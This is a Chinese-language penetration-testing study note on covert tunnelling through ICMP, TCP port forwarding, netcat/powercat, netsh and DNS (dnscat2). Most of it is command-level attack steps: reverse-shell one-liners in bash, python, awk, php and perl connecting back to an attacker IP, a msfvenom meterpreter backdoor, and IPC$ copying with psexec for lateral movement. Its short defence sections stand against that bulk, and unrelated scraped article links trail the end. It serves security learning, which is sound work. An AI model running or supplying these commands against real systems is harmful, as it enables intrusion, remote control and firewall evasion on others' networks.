DAY43(DAY44拓展):隐藏通信隧道技术的概述与使用

OSI 七层模型

物链网传会表应

常用的隧道技术:

(1)网络层:IPv6隧道、ICMP隧道、GRE隧道

(2)传输层:TCP隧道、UDP隧道、常规端口转发

(3)应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

1、网络层隧道技术

1.1、IPv6 隧道

​ IPv6 是"Internet Protocol Version 6"的缩写,也被称为下一代互联网协议,它是由 IETF (The Internet Eng ineer ing TaskForce) 国际互联网工程任务组)设计用来代替现行的 IPv4 协议的一种新的IP协议,IPv4 协议已经使用了20多年,目前面临着地址匮乏等一系列问题,而 IPv6 则能从根本上解决这些问题,现在,由于 IPv4 资源几乎耗尽,IPv6 开始进 入过渡阶段。

​ IPv6 隧道技术指的是通过 IPv4 隧道传送 IPv6 数据报文的技术,为了在 IPv4 的海洋中传输IPv6信息,可以将 IPv4 作为隧道载体,将 IPv6 报文整体封装在 IPv4 数据报文中,使 IPv6 能够穿越 IPv4 的海洋, 到达另一个 IPv6 小岛,支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等。

1.2、ICMP 隧道

​ 在 ICMP 通信协议中,通信双方的两台设备不需要开放端口即可进行,最常见的 ICMP 协议的消息为 ping 命令的回复。在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规端口转发等)进行的操作都失败了,由于防火墙不会屏蔽ping数据包,所以常常会通过 ping 命令访问远程主机,尝试建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而穿过防火墙,实现不受限制的网络访问。

1.3、GRE 隧道

​ GRE (Gener ic Rout ing Encapsul ation,通用路由封装协议)是对某些网络层协议(如:IP,IPX, AppleTalk等) 的数据报文进行封装,使这些被封装的数据报文能够在另一个网络层协议中传输。GRE 协议实际上是一种封装协议,它提供了将一种协议的报文封装在另一种协议报文中的机制,使报文能够在异种网络中传输。

1.4、ICMP 隧道工具 – icmpsh

项目下载:

git clone https://github.com/inquisb/icmpsh.git

​ 由于 icmpsh 工具要替代系统ping命令的应答程序,所以要关闭本地系统的ICMP应答。

(如需恢复系统应答,则设置为0)

sysctl -w net.ipv4.icmp_echo_ignore_all=1

-t   主机发送ping请求的主机ip地址。此选项是必需的!-r 发送包含字符串“Test1234”的单个测试icmp请求,然后退出,这是为了测试连接。-d 毫秒:请求之间的延迟,以毫秒为单位-o   以毫秒为单位的响应超时 如果没有及时接收到响应 从机将增加空白计数器 如果该计数器达到极限 则从机将退出 如果接收到响应 计数器将设置回0
-b  空白数量限制(退出前未响应的icmp请求)-s   字节:最大数据缓冲区大小(字节)
在攻击机icmpsh路径下执行命令
python2 icmpsh_m.py 攻击机IP 靶机IP

靶机执行命令icmpsh.exe
icmpsh.exe -t 攻击机IP -d 500 -b 30 -s 128

可以看到已经成功拿到 shell 了

在实际的渗透测试中,如何知道受害机的公网 IP 呢,严格说这个 IP 应该是 server 端看到的 IP,为了得到这个 IP 可以从内网终端 ping 这个 vps,在 vps 中用 tcpdump icmptcpdump -i eth0 icmp命令监听并获取这个 IP,然后填写

1.5、icmptunnel 工具

​ icmptunnel 工具是一个将IP流量封装到ICMP echo请求和回复(ping) 包中的隧道工具,是在允许 ping 的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMPecho流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。

项目地址:

git clone https://github.com/jamesbarlow/icmptunnel.git

用法:

ls
cd icmptunnel
make

用法:./icmptunnel[options]-s|服务器
-v  打印版本并退出
-h  打印帮助并退出
-k<interval>保持活动数据包之间的间隔  //默认间隔为5秒。
-r<retries>超时前的数据包重试限制    //默认值为5次重试
-m<mtu>隧道接口的最大帧大小 //默认隧道mtu为1500字节
-e  模拟microsoft ping实用程序
-d  作为守护进程在后台运行
-s  在服务器模式下运行   //服务器以客户端模式运行,使用服务器ip/主机名

由于 icmpsh 工具要替代系统 ping 命令的应答程序,所以与上相同,也需要关闭本地系统的 ICMP 应答

(如需恢复系统应答,则设置为0)

sysctl -w net.ipv4.icmp_echo_ignore_all=1
在攻击机开启监听
./icmptunnel -s

另外打开一个命令窗口,添加 tun0 网卡,分配隧道地址为10.0.0.1/24,(任意地址)/24

ifconfig tun0 10.0.0.1 netmask 255.255.255.0

完成后查看 IP,添加成功

在靶机处执行操作,连接

./icmptunnel 攻击机IP

另外打开一个命令窗口,添加 tun0 网卡,分配隧道地址为10.0.0.2(需要与上面攻击机网段相同)

ifconfig tun0 10.0.0.2 netmask 255.255.255.0

在攻击机处 ssh 连接靶机的开放 IP

ssh root@10.0.0.2

1.6、防御 ICMP 隧道攻击

​ 多数管理员会阻止ICMP通信进入站点。但是在出站方向,ICMP通信是被允许的,而且目前大多数的网站通信和边界设备不会过滤ICMP流量。使用ICMP协议会产生大量的1CMP数据包。我们可以通过Wireshark进行ICMP数据分析,以检测恶意的ICMP流量。

2、传输层隧道技术

​ 在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,当获取了目标机器的权限后,可以使用防火墙命令打开指定的端口或关闭防火墙。但如果内网中存在一系列防御系统,TCP、 UDP 流量会被大量拦截,这时就需要一些工具来绕过拦截。

2.1、LCX 端口转发(Windows版本)

2.1.1、LCX 概述

​ Lcx 是一个很经典的端口转发工具,其基于 Socket 套接字,有 Windows 和 Linux 两个版本。Windows 的为 Icx. exe ,Linux 的为portmap
​ 注:一个正常的 socket 套接字必须具备两端:一端是服务器,监听一个端口,等待客户端连接;另- -端为客户端,通过给出服务器的IP和端口,与服务端建立连接。

2.1.2、内网端口转发

将本机4444端口上监听到的数据转发到本机的8888端口上面

lcx.exe -listen 4444 8888

接着将本机3389端口的数据转发到公网IP的4444端口上

lcx -slave 公网IP 4444 127.0.0.1 3389

2.1.3、本地端口转发

​ 如果目标服务器由于防火墙的限制,部分端口如3389的数据无法通过防火墙,这时就可以将目标服务器相应端口的数据透传到防火墙允许的端口如53

在目标主机上执行如下命令即可

lcx.exe -tran 53 127.0.0.1 3389

2.1.4、隧道建立

在本机执行

lcx.exe -listen 4444 8888

将本机4444端口上监听到的数据转发到本机的8888端口上

然后在靶机执行

lcx.exe -slave 公网IP 4444 127.0.0.1 3389

将靶机3389端口的数据转发到攻击者公网 IP 的4444端口上

通道建立后,可以在本机使用远程桌面连接靶机

127.0.0.1:8888
靶机IP:8888

2.2、Portmap 端口转发(Linux 版本)

2.2.1、portmap 概述

用法:./portmap -m 方法 [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log 文件名]
-v:版本
-h1:主机1
-h2:主机2
-p1:端口 1
-p2:端口2
-log:记录数据
-m:此工具的操作方法1:监听 PORT1 并连接到 HOST2:PORT22:监听 PORT1 和 PORT23:连接到 HOST1:PORT1 和 HOST2:PORT2

2.2.2、portmap 的简单使用

使用 -m 参数,有以下三个方式:

(1)将 host2 的 port2 端口转发到本机的 port1 端口

./portmap -m 1 -p1 6666 -h2 另一台主机IP -p2 22

(2)监听 port1 端口,并将其流量转发到 port2 端口

./portmap -m 2 -p1 6666 -p2 7777

(3)连接主机1对应的端口和主机2对应的端口

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 另一台主机IP -p2 6666

2.2.3、隧道建立

首先监听本机来自6666端口的请求,将其转发给7777端口

./portmap -m 2 -p1 6666 -p2 7777

然后靶机将内网主机22端口的流量转发到攻击机的6666端口

 ./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 攻击机IP -p2 6666

现在可以看到靶机的22端口已经连接到了本机的6666端口

然后ssh连接本机的7777端口,即可连接上靶机

ssh root@攻击机IP -p 7777

我这里连接极其不稳定,只有寥寥几次成功

2.3、netcat(Linux 版本)/ PowerCat(windows 版本)

​ NC (netcat) 被称为网络工具中的瑞士军刀,体积小巧,但功能强大。

2.3.1、NC 主要功能:

NC 可以在两台设备上面相互交互,即侦听模式/传输模式

(1)Telnet功能
(2)获取banner信息
(3)传输文本信息
(4)传输文件/目录
(5)加密传输文件,默认不加密
(6)远程控制
(7)加密所有流量
(8)流媒体服务器
(9)远程克隆硬盘

-4 使用 IPv4
-6 使用 IPv6
-b 允许广播
-C 发送 CRLF 作为行尾
-D 启用调试套接字选项
-d 与标准输入分离
-F 传递套接字 fd
-h 这个帮助文本
-I length TCP 接收缓冲区长度
-i 间隔 发送线路的延迟间隔,扫描的端口
-k 保持入站套接字为多个连接打开
-l 监听模式,用于入站连接
-M ttl 传出 TTL / 跳数限制
-m minttl 最小传入 TTL / 跳数限制
-N 在标准输入 EOF 后关闭网络套接字
-n 禁止名称/端口解析
-O length TCP 发送缓冲区长度
-P proxyuser 代理认证的用户名
-p port 指定远程连接的本地端口
-q secs 在标准输入 EOF 后退出并延迟 secs
-r 随机化远程端口
-S 启用 TCP MD5 签名选项
-s sourceaddr 本地源地址
-T 关键字 TOS 值
-t 应答 TELNET 协商
-U 使用 UNIX 域套接字
-u UDP 模式-V rtable 指定备用路由表-v 详细
-W recvlimit 收到一定数量的数据包后终止
-w timeout 连接和最终网络读取超时
-X proto 代理协议:“4”、“5”(SOCKS)或“connect”
-x addr[:port] 指定代理地址和端口
-Z DCCP 模式
-z 零 I/O 模式 [用于扫描]

2.3.2、NC 的简单使用

抓取Banner信息
nc -nv IP 22
-n 表示以数字形式显示IP
-v 显示详细信息

扫描指定主机的指定端口
nc -v ip_address port
nc -nvz 1.1.1.1 1-65535    (NC默认探测的是TCP协议端口是否有开放)
nc -nvzu 1.1.1.1 1-1024    (NC也可以探测UDP协议的端口)  连接远程主机
nc -nvv ip_address port扫描端口段
nc -v -z IP(网关地址) 1-65535

文件传输

在本地主机输入以下命令,开始监听,等待连接。一旦连接建立,数据便会流入。
nc -lp 333 >1.txt在目标主机中输入以下命令,与本地主机333端口建立连接,并传输test.txt。
nc -vn ip_address 333 <test.txt -q 1此时在本地主机中打开1.txt,可以看到数据已经传输过来了

远程克隆硬盘

取证机:
nc -lp 1234 | dd of=/dev/sda
被取证机:
dd if=/dev/sda | nc -nv 1.1.1.1 1234 -q 1

正向 shell

在靶机执行
nc -lvnp 4444 -e /bin/bash攻击机执行
nc 攻击机IP 4444
连接靶机4444端口

反向 shell

在攻击机监听端口
nc -lvnp 4444
在靶机连接攻击机端口
nc 攻击机IP 4444 -e /bin/bash

2.3.3、netcat 之内网代理

需要三台 kali ,也可以两台不一定非要是 kali ,kali1 与 kali2 属于同一内网,kali3 可以访问 kali1,不可以访问 kali2

首先 kali3 监听端口 4444

nc -lvnp 4444

kali2 将自己的 shell 弹出到 4444

nc -lvnp 4444 -e /bin/bash

kali1 获得 kali2 的 shell ,并且重定向到 kali3

nc -v kali3与kali1能够互相ping通的网关IP 4444 -c "nc -v kali2的IP 4444"

回到 kali3 ,已经成功建立连接

2.3.4、无 NC 反弹 shell

无 nc 反弹 shell

攻击机监听端口
nc -lvnp 4444
靶机执行命令
bash -i >& /dev/tcp/攻击机IP/4444 0>&1

python 反弹 shell

攻击机监听端口
nc -lvnp 4444
靶机执行命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0) ;os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

awk 反弹 shell

主机监听
nc -lvnp 4444
靶机执行
awk 'BEGIN {s = "/inet/tcp/0/攻击机IP/4444"; while(42) { do{ printf "shell>" |& s; s|& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } }while( c!= "exit") close(s); }}' /dev/null

php 反弹 shell

攻击机监听
nc -lvnp 4444
靶机执行命令
php -r '$sock=fsockopen("攻击机IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

perl 反弹 shell

攻击机监听
nc -lvnp 4444
靶机执行
perl -e 'use Socket;$i="攻击机IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.4、powercat

2.4.1、PowerCat 主要功能

部分系统可能会出现如下所示

我们可以输入下面的指令(需要管理员权限)

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned#RemoteSigned
Windows 服务器计算机的默认执行策略。
脚本可以运行。
需要来自受信任的发布者对从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)的数字签名。
不需要对在本地计算机上编写的脚本(而不是从 Internet 下载)进行数字签名。
如果脚本被取消阻止,则运行从 Internet 下载且未签名的脚本,例如使用 Unblock-File cmdlet。
从 Internet 以外的源运行未签名脚本的风险,以及可能是恶意的签名脚本。

运行 PowerCat,首先使用管理员权限打开 cmd 命令行输入以下命令

Import-Module .\powercat.ps1用法:
powercat -h

-l       监听连接                            [Switch]
-c      连接到一个监听器。                    [String]
-p      要连接或侦听的端口。                  [String]
-e      执行。 (GAPING_SECURITY_HOLE)         [String]
-ep     执行 Powershell。                    [Switch]
-r      中继。格式:“-r tcp:10.1.1.1:443”       [String]
-u      通过 UDP 传输数据。                   [Switch]
-dns     通过 dns (dnscat2) 传输数据。         [String]
-dnsft   DNS 故障阈值。                       [int32]
-t      超时选项。默认值:60                [int32]
-i      输入:文件路径(字符串)、字节数组或字符串 [object]
-o      控制台输出类型:“主机”、“字节”或“字符串”   [String]
-of     输出文件路径。                        [String]
-d      连接后断开连接。                       [Switch]
-rep    中继器。断开后重新启动。                [Switch]
-g      生成有效负载。                        [Switch]
-ge     生成编码的有效负载。                   [Switch]
-h      打印帮助信息。                        [Switch]

2.4.2、PowerCat 的简单使用

基本客户端配置开启监听
powercat -c ip_address -p 443
接受监听器
powercat -l -p 端口号
基本客户端,输出为字节
powercat -c ip_address -p port -o Bytes提供一个cmd
powercat -l -p 443 -e cmd
发送一个cmd
powercat -c ip_address -p 443 -e cmd
提供一个执行powershell命令的shell
powercat -l -p 443 -ep

文件传输:

上传文件
powercat -c ip_address -p port -i C:\路径
接收文件
powercat -l -p port -of C:\路径

3、应用层隧道技术

3.1、应用层概述

​ 应用层隧道技术是在内网中建立一个稳定,可靠的数据通道。应用层(Application layer)是七层OSI模型的第七层。应用层直接和应用程序接口并提供常见的网络应用服务。应用层的隧道技术主要利用应用软件提供的端口来发送数据,常用的协议有SSH、HTTP/HTTPSDNS

DNS 隧道

​ DNS协议是域名解析协议,在域名和IP地址之间进行转换,该协议也是一种请求/应答协议,也是一种可用于应用层的隧道技术。DNS,ICMP,HTTP/HTTPS等难以禁用的协议已成为攻击者控制隧道的主流隧道。

DNS 隧道工作原理

​ 在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠 DNS 协议即可进行数据包的交换。从 DNS 协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个 IP 地址,而事实上返回的可以是任意字符串,包括加密的 C&C 指令。

C&C 服务器

​ 用于管理僵尸网络和进行 APT 攻击的服务器叫做 C&C 服务器(Command and Control Server ,命令及控制服务器)。C&C 节点分为两种,分别是 C&C 服务端(攻击者)和 C&C 客户端(被控制的计算机)。C&C 通信是指植入C&C客户端的木马或后门门程序与 C&C 服务端上的远程控制程序之间的通信正常网络之间的通信,都是在两台机器之间建立 TCP 连接后进行的。在进行数据通信时:如果目标是 IP 地址,可以直接发送报文;如果目标是域名,会先将域名解析成IP地址,再进行通信。两台机器建立连接后,C&C 服务器就可以将指令传递给 C&C 客户端上的木马(后门)程序,让其受到控制。

​ 内网中安装了各种软硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集 C&C 服务器的域名、IP 地址、URL 等数据,帮助防火墙进行阻断操作。这样一来,C&C 通信就会被切断。于是,通过各种隧道技术实现 C&C 通信的技术(特别是DNS隧道技术)就出现了。

3.2、netsh (Windows 版本)

​ netsh (Network Shell) 是一个 windows 系统本身提供的功能强大的网络配置命令行工具,具备管理 windows 网络配置和防火墙配置功能的工具。我们可以通过 netsh 传入的 tcp 连接转发到本地或者远程计算机的端口。

3.2.1、netsh 语法

用法:
netsh [-a AliasFile] [-c Context] [-r RemoteMachine] [-u [DomainName\]UserName] [-p Password | *] [Command | -f ScriptFile]
?              - 显示命令列表。
add            - 在项目列表上添加一个配置项目。
advfirewall    - 更改到 `netsh advfirewall' 上下文。
bridge         - 更改到 `netsh bridge' 上下文。
delete         - 在项目列表上删除一个配置项目。
dhcpclient     - 更改到 `netsh dhcpclient' 上下文。
dnsclient      - 更改到 `netsh dnsclient' 上下文。
dump           - 显示一个配置脚本。
exec           - 运行一个脚本文件。
firewall       - 更改到 `netsh firewall' 上下文。
help           - 显示命令列表。
http           - 更改到 `netsh http' 上下文。
interface      - 更改到 `netsh interface' 上下文。
ipsec          - 更改到 `netsh ipsec' 上下文。
lan            - 更改到 `netsh lan' 上下文。
mbn            - 更改到 `netsh mbn' 上下文。
namespace      - 更改到 `netsh namespace' 上下文。
netio          - 更改到 `netsh netio' 上下文。
nlm            - 更改到 `netsh nlm' 上下文。
p2p            - 更改到 `netsh p2p' 上下文。
ras            - 更改到 `netsh ras' 上下文。
rpc            - 更改到 `netsh rpc' 上下文。
set            - 更新配置设置。
show           - 显示信息。
trace          - 更改到 `netsh trace' 上下文。
wcn            - 更改到 `netsh wcn' 上下文。
wfp            - 更改到 `netsh wfp' 上下文。
winhttp        - 更改到 `netsh winhttp' 上下文。
winsock        - 更改到 `netsh winsock' 上下文。
wlan           - 更改到 `netsh wlan' 上下文。

3.2.2、netsh 端口转发

查看存在的转发
netsh interface portproxy show all添加一个IPv4到IPv4的端口映射
netsh interface portproxy add v4tov4 listenport=22 connectaddress=ip connectport=port删除指定转发端口
netsh interface portproxy delete v4tov4 listenport=port 删除所有规则
netsh interface portproxy reset

3.2.3、防火墙配置常用命令

查看当前系统所有网络类型的防火墙状态
netsh advfirewall show allprofiles关闭当前系统防火墙
netsh advfirewall set alprofiles state off启用当前系统防火墙
netsh advfirewall set allprofiles state on

3.2.4、netsh 实战运用

​ 利用 windows 自带的端口转发 netsh interface portproxy通过这个小工具在代理服务器设置端口转发

这里需要三台服务器来模拟端口转发场景

这里用:攻击机:kali、Web服务器:winserver2012、代理服务器:win10

​ 其中Web服务器配置了 php 环境提供 web 服务,位于内网中。代理服务器连接在公网上。

​ 场景为Web服务器有一个使用80端口的 WEB 服务,该 Web 服务需求 Web 服务器不能布置在公网上,且该业务只能运行于该 web 服务器,需要通过代理服务器被公网访问,但是不能改变网络拓扑架构。

首先进入到 Web 服务器,利用 phpstudy 开启 php 环境

win10 正常访问页面,kali 无法再正常访问

进入 代理服务器 在命令框输入

netsh interface portproxy show all #查看所有转发规则netsh interface portproxy add v4tov4 listenport=1111 connectaddress=靶机IP(winserver) connectport=80 #建立端口转发(需要管理权限)netsh interface portproxy show all #查看是否建立成功

成功了

如果要删除就输入:netsh interface portproxy delete v4tov4 listenport=port

无法 ping 通解决方法:

(1)关闭防火墙

(2)添加入站规则

使用攻击机 kali 模拟黑客,访问代理服务器的1111端口,成功

接着使用 kali 的 bp 配代理抓包,即可查看内网 web 服务器业务

注意:这种方式进行端口转发有一个缺点,就是无法穿透防火墙

3.2.5、netsh–msf 实战

​ 内网就是内部建立的局域网络或办公网络。

​ 外网就是通过一个网关或网桥与其它网络系统进行连接, 相对于自己的内网来说,连接的其它网络系统就称为外部网络,也叫外网

内网映射

​ 内网映射是指当外网访问到达你的路由器后,把这个访问转发内网的一台主机上。比如你在内网建了一个 web 服务器(就是网站)。外面的人访问请求只能看到你的路由器,也只能到达你的路由器如果你不映射(有的叫转发,有的叫虚拟服务)到内网, 那么访问者会出现无法访问,当你进行映射时,访问者才可以访问到内网服务。

横向渗透

​ 横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限、发动 APT (高级持续性威胁攻击)的目的。

​ 在横向渗透中,最先得到的主机,以及之后新得到的主机, 会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知

这里我们使用3台服务器:

(1)靶机:内网 web:win7

(2)代理服务器(内网、外网):winserver2012

(3)攻击机:kali

首先进入攻击机,利用 msf 生成后门命令为下,生成ceshi.exe

msfvenom -p windows/meterpreter/reverse_tcp lhost=攻击机IP(也就是kali的IP) lport=任意port -f exe > ceshi.exe

进入代理服务器进行 netsh 端口转发,IP 为攻击机 IP

netsh interface portproxy add v4tov4 listenport=前面写的端口 connectaddress=攻击机IP connectport=前面写的端口 #建立端口转发(需要管理权限)netsh interface portproxy show all #查看是否建立成功

成功,将制作好的后门放入代理服务器

回到 kali 设置 msf 监听,启动 msf,配置如下

use exploit/multi/handler    #选择攻击模块
set payload windows/meterpreter/reverse_tcp #选择payload
set lport 3333      #设置端口,之前选的端口
set lhost 攻击机IP   #设置地址
run

我们利用代理服务器与web服务器建立IPC连接。 建立连接的命令为:

net use \\靶机IP\ipc$ "密码" /user:"账户名"

查看连接建立是否成功:

net use

成功

建立IPC连接的三个条件:

(1)靶机开启139和445端口

(2)靶机主机管理员开启了 ipc$ 默认共享

(3)知道靶机的账户密码

通过这台代理服务器将后门程序利用 ipc 连接传入到靶机

复制命令
copy C:\Users\Administrator\Desktop\ceshi.exe \\靶机IP\c$查看命令:
dir \\靶机IP\c$

可以看到上传成功,使用域渗透工具psexec

psexec.exe /accepteula /s \\ip_address -u Administrator -p password cmd-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回
显
-u 域\用户名
-p 密码

执行文件ceshi.exe

成功

注意:这种方式可以绕过防火墙

3.3、DNS 隧道工具

3.3.1、dnscat2

dnscat2隧道有两种模式,分别是直连模式中继模式

直连模式:客户端直接指向 IP 地址的 DNS 服务器发起 DNS 解析请求。

中继模式:DNS 经过互联网的迭代解析,指向指定的 DNS 服务器。与直连模式相比,中继模式的速度较慢。

一般情况下, 使用 dnscat2 的中继模式要更加频繁,因为直连模式的隐蔽性要更差一些。

当网段只允许白名单流量出站,同时屏蔽其他端口,传统的C&C通信无法建立。在这样的情况下,可以使用 DNS 隐蔽隧道建立通信。

服务端下载 dnscat2

项目下载:git clone https://github.com/iagox86/dnscat2.git

roby编译
cd dnscat2/server
gem install bundler

apt-get install ruby-dev
bundle install

客户端下载 dnscat2

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

启动服务端

在服务端运行
ruby dnscat2.rb

下面会出现客户端指令,输入改 IP 即可

启动客户端

在客户端运行
./dnscat2 --dns server=服务端IP,port=53 --secret=

服务端显示连接成功

在服务端输入window输出所有通道

window

进入客户端1通道

window -i 1

查看命令

help

建立反弹 shell

可以看到成功弹出来了

3.3.2、防御 DNS 隧道攻击

(1)只允许与受信任的 DNS 服务器通信

(2)将邮件服务器网关列入白名单并阻止传入和传出流量中的 TXT 请求

(3)跟踪用户的 DNS 查询次数,如果达到阈值,就生成相应报告

(4)阻止 ICMP

DAY43(DAY44拓展):隐藏通信隧道技术的概述与使用相关推荐

  1. ipv6 访问内网_【内网渗透】—— 隐藏通信隧道技术之网络层隧道技术

    hidden:是否完全隐藏控制面板,还有很多设置参数,比如也可以设置显示面板,然后设置宽高WIDTH="整数" 和 HIGH="整数". 1. 隐藏通信隧道基础 ...

  2. 第三章 隐藏通信隧道技术

    第三章 隐藏通信隧道技术 3.1 隐藏通信隧道基础知识 3.1.1 隐藏通信隧道概述 什么是隧道? 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异 ...

  3. 内网安全 隐藏通信隧道技术——应用层.(遨游于 内网任何主机)

    隐藏通信隧道技术. 隐藏通信隧道就是一种 绕过端口屏蔽的通信方式.防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信.当被封装的数据包到达目的地时,将数据包 ...

  4. 内网安全 隐藏通信隧道技术——传输层.(遨游于 内网任何主机)

    隐藏通信隧道技术. 隐藏通信隧道就是一种 绕过端口屏蔽的通信方式.防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信.当被封装的数据包到达目的地时,将数据包 ...

  5. 隐藏通信隧道技术(下)

    目录 一.传输层隧道技术 1.Netcat获取shell(反向shell) 第一种:如果目标主机安装nc 第二种:目标主机没有安装nc,使用php也可以反弹shell 第三种:使用Python反弹sh ...

  6. 内网穿透 frp : 隐藏通信隧道技术

    1 frp介绍 注意事项: 1)服务器端和内网机器端下载的版本要相同,否则可能会影响内网穿透 2)根据服务器系统选择合适的脚本 脚本主要分为服务端与客户端文件 1.外网服务器端用到的是Frps和Frp ...

  7. 内网渗透之隐藏通信隧道

    前言 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断. 那么什么是隧道呢?隧道就是一种绕过端口屏蔽的通信方式.防火墙两端的数 ...

  8. 内网渗透测试:隐藏通讯隧道技术(上)

    什么是隧道? 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断.那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式. ...

  9. 内网渗透测试:隐藏通讯隧道技术(下)

    什么是隧道? 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断.那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式. ...

最新文章

  1. TensorFlow分布式(多GPU和多服务器)详解
  2. 查看、分析memcached使用状态
  3. DuiLib的Combo控件点击无响应的问题
  4. 百度娱乐沸点颁奖典礼,温度太低的“沸点”
  5. MooTools教程(1):认识MooTools
  6. Traceback (most recent call last)AttributeError: ‘NumpyArrayIterator‘ object has no attribute ‘ndim‘
  7. 轻量高效的开源JavaScript插件和库 【转】
  8. 外贸独立站VS第三方平台?
  9. JavaWeb_EL表达式存储数据及获得项目路径
  10. 第3章 如何赢得客户
  11. MES系统之设备管理的基础功能
  12. 黑苹果系统_黑苹果系统的安装(实例一)
  13. 5G消息、聊天机器人和小程序
  14. gazebo实现小车巡线
  15. python web py入门(4)-从数据库读取数据显示到网页
  16. 创建一个动态空间存储未知大小的二维数组
  17. C#winform下获取主机ip及hostname
  18. 前端传值,后端使用Map接受
  19. 酒店IPTV方案 酒店电视系统方案哪一种比较好
  20. 如何破解区块链应用落地难题

热门文章

  1. html5社交游戏,怦怦:HTML5小游戏与社交的完美结合
  2. 让iphone可装android双启动,只需几步 iphone 4可安装Android双启动
  3. Oracle 11g 企业版安装教程
  4. gt ge lt le ne 缩写 的 英文 含义
  5. OpenCV图像边缘检测(Laplace算法)
  6. 车路协同云控平台建设实践
  7. opencv flip
  8. php pcntl_fork 创建多个子进程解析
  9. 新浪上线法大大电子劳动合同
  10. 免费ChatGPT自动批量生成文章工具